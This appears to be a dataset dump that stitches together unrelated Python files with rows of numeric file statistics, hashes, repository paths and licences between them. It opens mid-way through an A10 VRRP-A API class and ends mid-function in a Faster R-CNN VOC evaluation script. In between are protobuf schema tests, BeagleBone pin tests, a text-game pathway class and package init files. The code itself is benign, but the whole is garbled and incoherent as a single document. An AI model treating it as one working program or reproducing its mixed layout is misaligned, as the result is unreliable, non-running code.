"uuid": {"description": "uuid of the object", "format": "string", "minLength": 1, "modify-not-allowed": 1, "optional": true, "maxLength": 64, "type": "string"}}}], "type": "array", "$ref": "/axapi/v3/vrrp-a/fail-over-policy-template/{name}"} :param vrid_lead_list: {"minItems": 1, "items": {"type": "vrid-lead"}, "uniqueItems": true, "array": [{"required": ["vrid-lead-str"], "properties": {"vrid-lead-str": {"description": "VRRP-A VRID leader name", "format": "string", "minLength": 1, "optional": false, "maxLength": 63, "type": "string"}, "partition": {"type": "object", "properties": {"shared-cfg": {"type": "object", "properties": {"shared": {"default": 0, "not": "name", "type": "number", "description": "Shared partition", "format": "flag"}, "vrid": {"default": 0, "type": "number", "description": "VRRP-A id", "format": "flag"}, "vrid-value": {"description": "Specify ha VRRP-A vrid", "minimum": 0, "type": "number", "maximum": 31, "format": "number"}}}, "name-cfg": {"type": "object", "properties": {"vrid-value": {"description": "Specify ha VRRP-A vrid", "minimum": 0, "type": "number", "maximum": 7, "format": "number"}, "vrid": {"default": 0, "type": "number", "description": "VRRP-A id", "format": "flag"}, "name": {"description": "Partition name", "format": "string", "minLength": 1, "maxLength": 14, "not": "shared", "type": "string", "$ref": "/axapi/v3/partition"}}}, "partition": {"default": 0, "type": "number", "description": "Partition name", "format": "flag"}}}, "uuid": {"description": "uuid of the object", "format": "string", "minLength": 1, "modify-not-allowed": 1, "optional": true, "maxLength": 64, "type": "string"}}}], "type": "array", "$ref": "/axapi/v3/vrrp-a/vrid-lead/{vrid-lead-str}"} :param l2_inline_peer_ip_list: {"minItems": 1, "items": {"type": "l2-inline-peer-ip"}, "uniqueItems": true, "array": [{"required": ["ip-address"], "properties": {"uuid": {"description": "uuid of the object", "format": "string", "minLength": 1, "modify-not-allowed": 1, "optional": true, "maxLength": 64, "type": "string"}, "ip-address": {"optional": false, "type": "string", "description": "IP address (IPv4 address)", "format": "ipv4-address"}}}], "type": "array", "$ref": "/axapi/v3/vrrp-a/l2-inline-peer-ip/{ip-address}"} :param DeviceProxy: The device proxy for REST operations and session handling. Refer to `common/device_proxy.py` Class Description:: HA VRRP-A Global Commands. Class vrrp-a supports CRUD Operations and inherits from `common/A10BaseClass`. This class is the `"PARENT"` class for this module.` URL for this object:: `https://<Hostname|Ip address>//axapi/v3/vrrp-a`. """ def __init__(self, **kwargs): self.ERROR_MSG = "" self.required=[] self.b_key = "vrrp-a" self.a10_url="/axapi/v3/vrrp-a" self.DeviceProxy = "" self.vrid_list = [] self.force_self_standby_persistent_list = [] self.force_self_standby = {} self.l3_inline_mode_flag = {} self.peer_group = {} self.ospf_inline_list = [] self.fail_over_policy_template_list = [] self.vrid_lead_list = [] self.state = {} self.common = {} self.interface = {} self.restart_port_list = {} self.l2_inline_peer_ip_list = [] self.preferred_session_sync_port = {} for keys, value in kwargs.items(): setattr(self,keys, value)
203.843137
9,618
0.638274
2,439
20,792
5.409594
0.086921
0.037896
0.036077
0.034106
0.828862
0.778536
0.7608
0.758678
0.723965
0.712824
0
0.018801
0.122547
20,792
101
9,619
205.861386
0.704396
0.921893
0
0.357143
0
0
0.033399
0
0
0
0
0
0
1
0.071429
false
0
0.02381
0
0.166667
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
1
1
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
e1b72de62d28c14cee01f4c8a501ca9a6a666bc4
92
py
Python
ormageddon/__init__.py
renskiy/ormageddon
24c48275f0ac977c0153581aea168174164fcc00
[ "MIT" ]
18
2016-02-25T08:48:51.000Z
2019-01-25T01:57:49.000Z
ormageddon/__init__.py
renskiy/ormageddon
24c48275f0ac977c0153581aea168174164fcc00
[ "MIT" ]
null
null
null
ormageddon/__init__.py
renskiy/ormageddon
24c48275f0ac977c0153581aea168174164fcc00
[ "MIT" ]
null
null
null
from ormageddon.db import * from ormageddon.fields import * from ormageddon.models import *
23
31
0.804348
12
92
6.166667
0.5
0.567568
0.540541
0
0
0
0
0
0
0
0
0
0.130435
92
3
32
30.666667
0.925
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
bece9b241f2768a4f909febf8bb505c7b5d33cfa
8,416
py
Python
tests/unit/test_protobuf_schema.py
instaclustr/karapace
60e9d788be360dd7f1d29f6ecb3dc9f881233302
[ "Apache-2.0" ]
1
2021-09-29T07:17:47.000Z
2021-09-29T07:17:47.000Z
tests/unit/test_protobuf_schema.py
instaclustr/karapace
60e9d788be360dd7f1d29f6ecb3dc9f881233302
[ "Apache-2.0" ]
9
2021-04-20T05:02:26.000Z
2022-02-04T01:04:22.000Z
tests/unit/test_protobuf_schema.py
instaclustr/karapace
60e9d788be360dd7f1d29f6ecb3dc9f881233302
[ "Apache-2.0" ]
1
2021-04-03T16:48:42.000Z
2021-04-03T16:48:42.000Z
from karapace.protobuf.compare_result import CompareResult from karapace.protobuf.kotlin_wrapper import trim_margin from karapace.protobuf.location import Location from karapace.protobuf.schema import ProtobufSchema from karapace.schema_reader import SchemaType, TypedSchema from tests.schemas.protobuf import ( schema_protobuf_compare_one, schema_protobuf_order_after, schema_protobuf_order_before, schema_protobuf_schema_registry1 ) location: Location = Location.get("file.proto") def test_protobuf_schema_simple(): proto = trim_margin(schema_protobuf_schema_registry1) protobuf_schema = TypedSchema.parse(SchemaType.PROTOBUF, proto) result = str(protobuf_schema) assert result == proto def test_protobuf_schema_sort(): proto = trim_margin(schema_protobuf_order_before) protobuf_schema = TypedSchema.parse(SchemaType.PROTOBUF, proto) result = str(protobuf_schema) proto2 = trim_margin(schema_protobuf_order_after) assert result == proto2 def test_protobuf_schema_compare(): proto1 = trim_margin(schema_protobuf_order_after) protobuf_schema1: TypedSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto1) proto2 = trim_margin(schema_protobuf_compare_one) protobuf_schema2: TypedSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto2) result = CompareResult() protobuf_schema1.schema.compare(protobuf_schema2.schema, result) assert result.is_compatible() def test_protobuf_schema_compare2(): proto1 = trim_margin(schema_protobuf_order_after) protobuf_schema1: TypedSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto1) proto2 = trim_margin(schema_protobuf_compare_one) protobuf_schema2: TypedSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto2) result = CompareResult() protobuf_schema2.schema.compare(protobuf_schema1.schema, result) assert result.is_compatible() def test_protobuf_schema_compare3(): proto1 = """ |syntax = "proto3"; |package a1; |message TestMessage { | message Value { | string str2 = 1; | int32 x = 2; | } | string test = 1; | .a1.TestMessage.Value val = 2; |} |""" proto1 = trim_margin(proto1) proto2 = """ |syntax = "proto3"; |package a1; | |message TestMessage { | string test = 1; | .a1.TestMessage.Value val = 2; | | message Value { | string str2 = 1; | Enu x = 2; | } | enum Enu { | A = 0; | B = 1; | } |} |""" proto2 = trim_margin(proto2) protobuf_schema1: ProtobufSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto1).schema protobuf_schema2: ProtobufSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto2).schema result = CompareResult() protobuf_schema1.compare(protobuf_schema2, result) assert result.is_compatible() def test_protobuf_message_compatible_label_alter(): proto1 = """ |syntax = "proto3"; |message Goods { | optional Packet record = 1; | string driver = 2; | message Packet { | bytes order = 1; | } |} |""" proto1 = trim_margin(proto1) proto2 = """ |syntax = "proto3"; |message Goods { | repeated Packet record = 1; | string driver = 2; | message Packet { | bytes order = 1; | } |} |""" proto2 = trim_margin(proto2) protobuf_schema1: ProtobufSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto1).schema protobuf_schema2: ProtobufSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto2).schema result = CompareResult() protobuf_schema1.compare(protobuf_schema2, result) assert result.is_compatible() def test_protobuf_field_type_incompatible_alter(): proto1 = """ |syntax = "proto3"; |message Goods { | string order = 1; | map<string, int32> items_int32 = 2; |} |""" proto1 = trim_margin(proto1) proto2 = """ |syntax = "proto3"; |message Goods { | string order = 1; | map<string, string> items_string = 2; |} |""" proto2 = trim_margin(proto2) protobuf_schema1: ProtobufSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto1).schema protobuf_schema2: ProtobufSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto2).schema result = CompareResult() protobuf_schema1.compare(protobuf_schema2, result) assert not result.is_compatible() def test_protobuf_field_label_compatible_alter(): proto1 = """ |syntax = "proto3"; |message Goods { | optional string driver = 1; | Order order = 2; | message Order { | string item = 1; | } |} |""" proto1 = trim_margin(proto1) proto2 = """ |syntax = "proto3"; |message Goods { | repeated string driver = 1; | Order order = 2; | message Order { | string item = 1; | } |} |""" proto2 = trim_margin(proto2) protobuf_schema1: ProtobufSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto1).schema protobuf_schema2: ProtobufSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto2).schema result = CompareResult() protobuf_schema1.compare(protobuf_schema2, result) assert result.is_compatible() def test_protobuf_field_incompatible_drop_from_oneof(): proto1 = """ |syntax = "proto3"; |message Goods { | oneof item { | string name_a = 1; | string name_b = 2; | int32 id = 3; | } |} |""" proto1 = trim_margin(proto1) proto2 = """ |syntax = "proto3"; |message Goods { | oneof item { | string name_a = 1; | string name_b = 2; | } |} |""" proto2 = trim_margin(proto2) protobuf_schema1: ProtobufSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto1).schema protobuf_schema2: ProtobufSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto2).schema result = CompareResult() protobuf_schema1.compare(protobuf_schema2, result) assert not result.is_compatible() def test_protobuf_field_incompatible_alter_to_oneof(): proto1 = """ |syntax = "proto3"; |message Goods { | string name = 1; | string reg_name = 2; |} |""" proto1 = trim_margin(proto1) proto2 = """ |syntax = "proto3"; |message Goods { | oneof reg_data { | string name = 1; | string reg_name = 2; | int32 id = 3; | } |} |""" proto2 = trim_margin(proto2) protobuf_schema1: ProtobufSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto1).schema protobuf_schema2: ProtobufSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto2).schema result = CompareResult() protobuf_schema1.compare(protobuf_schema2, result) assert not result.is_compatible() def test_protobuf_field_compatible_alter_to_oneof(): proto1 = """ |syntax = "proto3"; |message Goods { | string name = 1; | string foo = 2; |} |""" proto1 = trim_margin(proto1) proto2 = """ |syntax = "proto3"; |message Goods { | string name = 1; | oneof new_oneof { | string foo = 2; | int32 bar = 3; | } |} |""" proto2 = trim_margin(proto2) protobuf_schema1: ProtobufSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto1).schema protobuf_schema2: ProtobufSchema = TypedSchema.parse(SchemaType.PROTOBUF, proto2).schema result = CompareResult() protobuf_schema1.compare(protobuf_schema2, result) assert result.is_compatible()
29.121107
124
0.589354
776
8,416
6.179124
0.113402
0.045881
0.108446
0.141814
0.840459
0.805631
0.780188
0.754536
0.727424
0.714911
0
0.031076
0.315589
8,416
288
125
29.222222
0.801389
0
0
0.812227
0
0
0.38807
0.00499
0
0
0
0
0.048035
1
0.048035
false
0
0.026201
0
0.074236
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
8305781674f8c6af4f531588f7fa8e09fe4e2394
6,305
py
Python
tests/hardware_tests/test_pin.py
vt-sailbot/sailbot-19
a9252e9415d3fef62e4baf813306bdc07fb69781
[ "MIT" ]
1
2019-05-29T19:32:48.000Z
2019-05-29T19:32:48.000Z
tests/hardware_tests/test_pin.py
vt-sailbot/sailbot-19
a9252e9415d3fef62e4baf813306bdc07fb69781
[ "MIT" ]
3
2019-02-23T13:33:47.000Z
2019-08-18T12:54:56.000Z
tests/hardware_tests/test_pin.py
vt-sailbot/sailbot-19
a9252e9415d3fef62e4baf813306bdc07fb69781
[ "MIT" ]
null
null
null
import unittest try: from unittest.mock import patch, MagicMock except ImportError: from mock import patch, MagicMock from src.hardware.pin import make_pin, ADCPin from tests.mock_bbio import Adafruit_BBIO class PinTests(unittest.TestCase): """Tests methods of the Pin family.""" @staticmethod def test_gpio_read(): """Tests that GPIOPin reads correctly.""" # Set up the pin Adafruit_BBIO.GPIO.setup = MagicMock(name='Adafruit.BBIO.GPIO.setup') Adafruit_BBIO.GPIO.IN = MagicMock(name='Adafruit.BBIO.GPIO.IN') gpio_pin = make_pin({ "pin_name": "Hello", "pin_type": "GPIO", "io_type": "IN" }, mock_lib=Adafruit_BBIO.GPIO) # Fake HIGH voltage Adafruit_BBIO.GPIO.input = MagicMock(name='Adafruit.BBIO.GPIO.input', return_value=True) assert gpio_pin.read() # Fake LOW voltage Adafruit_BBIO.GPIO.input = MagicMock(name='Adafruit.BBIO.GPIO.input', return_value=False) assert not gpio_pin.read() @staticmethod def test_gpio_set_state(): """Tests that GPIOPin writes correctly.""" # Set up the pin Adafruit_BBIO.GPIO.setup = MagicMock(name='Adafruit.BBIO.GPIO.setup') Adafruit_BBIO.GPIO.output = MagicMock(name='Adafruit.BBIO.GPIO.setup') Adafruit_BBIO.GPIO.HIGH = MagicMock(name='Adafruit.BBIO.GPIO.HIGH') Adafruit_BBIO.GPIO.LOW = MagicMock(name='Adafruit.BBIO.GPIO.LOW') Adafruit_BBIO.GPIO.IN = MagicMock(name='Adafruit.BBIO.GPIO.IN') Adafruit_BBIO.GPIO.OUT = MagicMock(name='Adafruit.BBIO.GPIO.OUT') gpio_pin = make_pin({ "pin_name": "Hello", "pin_type": "GPIO", "io_type": "OUT" }, mock_lib=Adafruit_BBIO.GPIO) # Set to HIGH voltage gpio_pin.set_state(True) Adafruit_BBIO.GPIO.output.assert_called_with("Hello", Adafruit_BBIO.GPIO.HIGH) # Set to LOW voltage gpio_pin.set_state(False) Adafruit_BBIO.GPIO.output.assert_called_with("Hello", Adafruit_BBIO.GPIO.LOW) @patch('src.hardware.pin.pub', autospec=True) def test_gpio_logger(self, mock_pub): """Tests that GPIOPin logs messages""" # Set up the pin Adafruit_BBIO.GPIO.setup = MagicMock(name='Adafruit.BBIO.GPIO.setup') Adafruit_BBIO.GPIO.IN = MagicMock(name='Adafruit.BBIO.GPIO.IN') gpio_pin = make_pin({ "pin_name": "GPIOread", "pin_type": "GPIO", "io_type": "IN" }, mock_lib=Adafruit_BBIO.GPIO) # Fake HIGH voltage Adafruit_BBIO.GPIO.input = MagicMock(name='Adafruit.BBIO.GPIO.input', return_value=True) gpio_pin.read() mock_pub.sendMessage.assert_any_call("write msg", pin_name="GPIOread", msg=True, rw_state='r') # Set up pin for output Adafruit_BBIO.GPIO.setup = MagicMock(name='Adafruit.BBIO.GPIO.setup') Adafruit_BBIO.GPIO.output = MagicMock(name='Adafruit.BBIO.GPIO.setup') Adafruit_BBIO.GPIO.HIGH = MagicMock(name='Adafruit.BBIO.GPIO.HIGH') Adafruit_BBIO.GPIO.LOW = MagicMock(name='Adafruit.BBIO.GPIO.LOW') Adafruit_BBIO.GPIO.IN = MagicMock(name='Adafruit.BBIO.GPIO.IN') Adafruit_BBIO.GPIO.OUT = MagicMock(name='Adafruit.BBIO.GPIO.OUT') gpio_pin = make_pin({ "pin_name": "GPIOwrite", "pin_type": "GPIO", "io_type": "OUT" }, mock_lib=Adafruit_BBIO.GPIO) # Set to HIGH voltage gpio_pin.set_state(True) mock_pub.sendMessage.assert_any_call("write msg", pin_name = "GPIOwrite", msg=True, rw_state = 'w') @staticmethod def test_adc_read_v(): # Set up the pin Adafruit_BBIO.ADC.setup = MagicMock(name='Adafruit.BBIO.GPIO.setup') Adafruit_BBIO.ADC.read = MagicMock(name='Adafruit.BBIO.GPIO.setup', return_value=0.5) adc_pin = make_pin({ "pin_name": "Hello", "pin_type": "ADC", "min_v": 0, "default_v": 0.5, "max_v": 1 }, mock_lib=Adafruit_BBIO.ADC) # Tests the method assert abs(adc_pin.read_v() - 0.9) < 0.01 @staticmethod def test_adc_read(): # Set up the pin Adafruit_BBIO.ADC.setup = MagicMock(name='Adafruit.BBIO.ADC.read') Adafruit_BBIO.ADC.read = MagicMock(name='Adafruit.BBIO.ADC.read', return_value=(1 / ADCPin.MAX_INPUT_VOLTAGE)) adc_pin = make_pin({ "pin_name": "Hello", "pin_type": "ADC", "min_v": 0, "default_v": 0.5, "max_v": 1 }, mock_lib=Adafruit_BBIO.ADC) # Tests the method val = adc_pin.read() err = abs(val - 1) assert err < 0.01 Adafruit_BBIO.ADC.read = MagicMock(name='Adafruit.BBIO.ADC.read', return_value=(0.5 / ADCPin.MAX_INPUT_VOLTAGE)) val = adc_pin.read() err = abs(val - 0) assert err < 0.01 Adafruit_BBIO.ADC.read = MagicMock(name='Adafruit.BBIO.ADC.read', return_value=0) val = adc_pin.read() err = abs(val + 1) assert err < 0.01 @patch('src.hardware.pin.pub', autospec=True) def test_adc_logger(self, mock_pub): """Tests that ADCPin logs messages""" # Set up the pin Adafruit_BBIO.ADC.setup = MagicMock(name='Adafruit.BBIO.ADC.read') Adafruit_BBIO.ADC.read = MagicMock(name='Adafruit.BBIO.ADC.read', return_value=(1 / ADCPin.MAX_INPUT_VOLTAGE)) adc_pin = make_pin({ "pin_name": "Hello", "pin_type": "ADC", "min_v": 0, "default_v": 0.5, "max_v": 1 }, mock_lib=Adafruit_BBIO.ADC) # Tests the method val = adc_pin.read() err = abs(val - 1) assert err < 0.01 mock_pub.sendMessage.assert_any_call("write msg", pin_name="Hello", msg=val, rw_state='r') if __name__ == "__main__": unittest.main()
36.235632
110
0.582871
787
6,305
4.465057
0.11817
0.225384
0.218554
0.192089
0.826409
0.80535
0.787991
0.78173
0.765794
0.736483
0
0.008995
0.294687
6,305
173
111
36.445087
0.781201
0.070738
0
0.710744
0
0
0.171537
0.105535
0
0
0
0
0.099174
1
0.049587
false
0
0.049587
0
0.107438
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
3629cbc901f0b33f04dc86d602c6a3e44ea34f61
2,562
py
Python
CorePathwayObjects.py
Dexter-Maine/Eeveaem
ba9b551971d64274a7e5dd5ac87f820a96ab5060
[ "MIT" ]
null
null
null
CorePathwayObjects.py
Dexter-Maine/Eeveaem
ba9b551971d64274a7e5dd5ac87f820a96ab5060
[ "MIT" ]
null
null
null
CorePathwayObjects.py
Dexter-Maine/Eeveaem
ba9b551971d64274a7e5dd5ac87f820a96ab5060
[ "MIT" ]
null
null
null
from .Pathway import CorePathway #@Dev: Don't Forget To Contract Some Passages So They #@Dev: Must Be Called To Unlock / Lock class GlimmeringDoor(CorePathway): def __init__(self): self.Name = 'Glimmering Door' super().__init__(Name=self.Name,Open=False,Locked=True,Skill=1000,Key=None) def Open(self): self.Open = True def Close(self): self.Open = False def Lock(self): self.Locked = True def Unlock(self): self.Locked = False def Create_Key(self): pass def Label_Self(self): pass class IronDoor(CorePathway): def __init__(self): self.Name = 'Iron Door' super().__init__(Name=self.Name,Open=False,Locked=True,Skill=1000,Key=None) def Open(self): self.Open = True def Close(self): self.Open = False def Lock(self): self.Locked = True def Unlock(self): self.Locked = False def Create_Key(self): pass def Label_Self(self): pass class RosewoodWindow(CorePathway): def __init__(self): self.Name = 'Rosewood Window' super().__init__(Name=self.Name,Open=False,Locked=True,Skill=1000,Key=None) def Open(self): self.Open = True def Close(self): self.Open = False def Lock(self): self.Locked = True def Unlock(self): self.Locked = False def Create_Key(self): pass def Label_Self(self): pass class RosewoodStairway(CorePathway): def __init__(self): self.Name = 'Rosewood Stairway' super().__init__(Name=self.Name,Open=False,Locked=True,Skill=1000,Key=None) def Open(self): self.Open = True def Close(self): self.Open = False def Lock(self): self.Locked = True def Unlock(self): self.Locked = False def Create_Key(self): pass def Label_Self(self): pass class RosewoodDoor(CorePathway): def __init__(self): self.Name = 'Rosewood Door' super().__init__(Name=self.Name,Open=False,Locked=True,Skill=1000,Key=None) def Open(self): self.Open = True def Close(self): self.Open = False def Lock(self): self.Locked = True def Unlock(self): self.Locked = False def Create_Key(self): pass def Label_Self(self): pass class Alley(CorePathway): def __init__(self): self.Name = 'Alley' super().__init__(Name=self.Name,Open=False,Locked=True,Skill=1000,Key=None) def Open(self): self.Open = True def Close(self): self.Open = False def Lock(self): self.Locked = True def Unlock(self): self.Locked = False def Create_Key(self): pass def Label_Self(self): pass
17.668966
78
0.65808
362
2,562
4.491713
0.135359
0.177122
0.088561
0.081181
0.875154
0.875154
0.819803
0.749693
0.749693
0.749693
0
0.011994
0.21897
2,562
144
79
17.791667
0.8006
0.034738
0
0.865979
0
0
0.031801
0
0
0
0
0
0
1
0.43299
false
0.123711
0.010309
0
0.505155
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
1
0
0
10
364418309d343117b23a7f9249f33a5d32ba83c4
338
py
Python
crypto_package/backtesting/__init__.py
TheOnlyCryptoParadise/crypto_package
6ed348712a2477babee16c2cfd87e1fb34584a86
[ "MIT" ]
null
null
null
crypto_package/backtesting/__init__.py
TheOnlyCryptoParadise/crypto_package
6ed348712a2477babee16c2cfd87e1fb34584a86
[ "MIT" ]
1
2021-11-15T21:55:10.000Z
2021-11-15T21:55:10.000Z
crypto_package/backtesting/__init__.py
TheOnlyCryptoParadise/crypto_package
6ed348712a2477babee16c2cfd87e1fb34584a86
[ "MIT" ]
null
null
null
from .backtesting_bot import BacktestingBot from .analyze_functions import plot_candles from .analyze_functions import plot_profit from .analyze_functions import plot_profit_per_pair from .analyze_functions import plot_indicators from .analyze_functions import get_candles_and_plot from .analyze_functions import plot_patterns_on_candles
42.25
55
0.89645
47
338
6.042553
0.361702
0.232394
0.422535
0.549296
0.570423
0.253521
0
0
0
0
0
0
0.08284
338
7
56
48.285714
0.916129
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
3676f76c22f8d6798ae435bb4bdc8727d4925a8b
31,298
py
Python
lib/datasets/voc_eval.py
zhbli/pytorch-faster-rcnn
de3f5a4db43e04a60e13578ad5bb09aa9834abd8
[ "MIT" ]
null
null
null
lib/datasets/voc_eval.py
zhbli/pytorch-faster-rcnn
de3f5a4db43e04a60e13578ad5bb09aa9834abd8
[ "MIT" ]
null
null
null
lib/datasets/voc_eval.py
zhbli/pytorch-faster-rcnn
de3f5a4db43e04a60e13578ad5bb09aa9834abd8
[ "MIT" ]
null
null
null
# -------------------------------------------------------- # Fast/er R-CNN # Licensed under The MIT License [see LICENSE for details] # Written by Bharath Hariharan # -------------------------------------------------------- from __future__ import absolute_import from __future__ import division from __future__ import print_function import xml.etree.ElementTree as ET import os import pickle import numpy as np import cv2 import matplotlib.pyplot as plt def parse_rec(filename): """ Parse a PASCAL VOC xml file """ tree = ET.parse(filename) objects = [] for obj in tree.findall('object'): obj_struct = {} obj_struct['name'] = obj.find('name').text obj_struct['pose'] = obj.find('pose').text obj_struct['truncated'] = int(obj.find('truncated').text) obj_struct['difficult'] = int(obj.find('difficult').text) bbox = obj.find('bndbox') obj_struct['bbox'] = [int(bbox.find('xmin').text), int(bbox.find('ymin').text), int(bbox.find('xmax').text), int(bbox.find('ymax').text)] objects.append(obj_struct) return objects def voc_ap(rec, prec, use_07_metric=False): """ ap = voc_ap(rec, prec, [use_07_metric]) Compute VOC AP given precision and recall. If use_07_metric is true, uses the VOC 07 11 point method (default:False). """ if use_07_metric: # 11 point metric ap = 0. for t in np.arange(0., 1.1, 0.1): if np.sum(rec >= t) == 0: p = 0 else: p = np.max(prec[rec >= t]) ap = ap + p / 11. else: # correct AP calculation # first append sentinel values at the end mrec = np.concatenate(([0.], rec, [1.])) mpre = np.concatenate(([0.], prec, [0.])) # compute the precision envelope for i in range(mpre.size - 1, 0, -1): mpre[i - 1] = np.maximum(mpre[i - 1], mpre[i]) # to calculate area under PR curve, look for points # where X axis (recall) changes value i = np.where(mrec[1:] != mrec[:-1])[0] # and sum (\Delta recall) * prec ap = np.sum((mrec[i + 1] - mrec[i]) * mpre[i + 1]) return ap # v3.2 def voc_eval_v32(detpath, annopath, imagesetfile, classname, cachedir, ovthresh=0.5, use_07_metric=False, use_diff=False, roipath=''): if not os.path.isdir(cachedir): os.mkdir(cachedir) cachefile = os.path.join(cachedir, '%s_annots.pkl' % imagesetfile) # read list of images with open(imagesetfile, 'r') as f: lines = f.readlines() imagenames = [x.strip() for x in lines] if not os.path.isfile(cachefile): # load annotations recs = {} for i, imagename in enumerate(imagenames): recs[imagename] = parse_rec(annopath.format(imagename)) if i % 100 == 0: print('Reading annotation for {:d}/{:d}'.format( i + 1, len(imagenames))) # save print('Saving cached annotations to {:s}'.format(cachefile)) with open(cachefile, 'wb') as f: pickle.dump(recs, f) else: # load with open(cachefile, 'rb') as f: try: recs = pickle.load(f) except: recs = pickle.load(f, encoding='bytes') # v3.0 det_results = {} # v3.0 # extract gt objects for this class class_recs = {} npos = 0 for imagename in imagenames: R = [obj for obj in recs[imagename] if obj['name'] == classname] bbox = np.array([x['bbox'] for x in R]) truncated = np.array([x['truncated'] for x in R]).astype(np.bool) if use_diff: difficult = np.array([False for x in R]).astype(np.bool) else: difficult = np.array([x['difficult'] for x in R]).astype(np.bool) det = [False] * len(R) npos = npos + sum(~difficult) class_recs[imagename] = {'bbox': bbox, 'difficult': difficult, 'det': det} # v3.0 det_results[imagename] = {} det_results[imagename]['gt'] = {} det_results[imagename]['det'] = {} det_results[imagename]['det']['bbox'] = np.zeros([0, 4]) det_results[imagename]['det']['score'] = [] det_results[imagename]['det']['result_info'] = [] det_results[imagename]['det']['overlap'] = [] det_results[imagename]['gt']['bbox'] = bbox det_results[imagename]['gt']['difficult'] = difficult det_results[imagename]['gt']['truncated'] = truncated det_results[imagename]['gt']['detected'] = det # v3.0 # read dets detfile = detpath.format(classname) roifile = roipath.format(classname) with open(detfile, 'r') as f: lines = f.readlines() with open(roifile, 'r') as f: lines_rois = f.readlines() splitlines = [x.strip().split(' ') for x in lines] splitlines_rois = [x.strip().split(' ') for x in lines_rois] image_ids = [x[0] for x in splitlines] confidence = np.array([float(x[1]) for x in splitlines]) BB = np.array([[float(z) for z in x[2:]] for x in splitlines]) rois = np.array([[float(z) for z in x[2:]] for x in splitlines_rois]) nd = len(image_ids) tp = np.zeros(nd) fp = np.zeros(nd) fp_img = [None] * nd # zhbli(1): write false negative info false_positive_file_name = 'output/%s_false_positive.txt' % (classname) false_positive_rois_file_name = 'output/%s_false_positive_rois.txt' % (classname) false_positive_file = open(false_positive_file_name, 'wb') false_positive_rois_file = open(false_positive_rois_file_name, 'wb') fp_table = [[] for i in range(npos)] fp_table_rois = [[] for i in range(npos)] fp_idx = 0 if BB.shape[0] > 0: # sort by confidence sorted_ind = np.argsort(-confidence) sorted_scores = np.sort(-confidence) BB = BB[sorted_ind, :] rois = rois[sorted_ind, :] image_ids = [image_ids[x] for x in sorted_ind] # go down dets and mark TPs and FPs for d in range(nd): R = class_recs[image_ids[d]] bb = BB[d, :].astype(float) roi = rois[d, :].astype(float) ovmax = -np.inf BBGT = R['bbox'].astype(float) if BBGT.size > 0: # compute overlaps # intersection ixmin = np.maximum(BBGT[:, 0], bb[0]) iymin = np.maximum(BBGT[:, 1], bb[1]) ixmax = np.minimum(BBGT[:, 2], bb[2]) iymax = np.minimum(BBGT[:, 3], bb[3]) iw = np.maximum(ixmax - ixmin + 1., 0.) ih = np.maximum(iymax - iymin + 1., 0.) inters = iw * ih # union uni = ((bb[2] - bb[0] + 1.) * (bb[3] - bb[1] + 1.) + (BBGT[:, 2] - BBGT[:, 0] + 1.) * (BBGT[:, 3] - BBGT[:, 1] + 1.) - inters) overlaps = inters / uni ovmax = np.max(overlaps) jmax = np.argmax(overlaps) if ovmax > ovthresh: if not R['difficult'][jmax]: if not R['det'][jmax]: tp[d] = 1. R['det'][jmax] = 1 # v3.0 det_results[image_ids[d]]['gt']['detected'][jmax] = 1 # the jmax'th gt is detected. det_results[image_ids[d]]['det']['bbox'] = np.append(det_results[image_ids[d]]['det']['bbox'], np.expand_dims(bb, 0), axis=0) det_results[image_ids[d]]['det']['score'].append(-sorted_scores[d]) det_results[image_ids[d]]['det']['result_info'].append('correct') det_results[image_ids[d]]['det']['overlap'].append(ovmax) # v3.0 else: fp[d] = 1. fp_img[d] = image_ids[d] # v3.0 if -sorted_scores[d] > 0.1: det_results[image_ids[d]]['det']['bbox'] = np.append( det_results[image_ids[d]]['det']['bbox'], np.expand_dims(bb, 0), axis=0) det_results[image_ids[d]]['det']['score'].append(-sorted_scores[d]) det_results[image_ids[d]]['det']['result_info'].append('err_repeat') det_results[image_ids[d]]['det']['overlap'].append(ovmax) # v3.0 # zhbli(2): write false negative info if d < npos: fp_table[fp_idx] = [[image_ids[d], classname, 'err_repeat'] + bb.tolist(), BBGT.tolist(), -sorted_scores[d].tolist()] fp_table_rois[fp_idx] = [[image_ids[d], classname, 'err_repeat'] + roi.tolist(), BBGT.tolist(), -sorted_scores[d].tolist()] fp_idx = fp_idx + 1 else: fp[d] = 1. fp_img[d] = image_ids[d] # v3.0 if -sorted_scores[d] > 0.1: det_results[image_ids[d]]['det']['bbox'] = np.append(det_results[image_ids[d]]['det']['bbox'], np.expand_dims(bb, 0), axis=0) det_results[image_ids[d]]['det']['score'].append(-sorted_scores[d]) 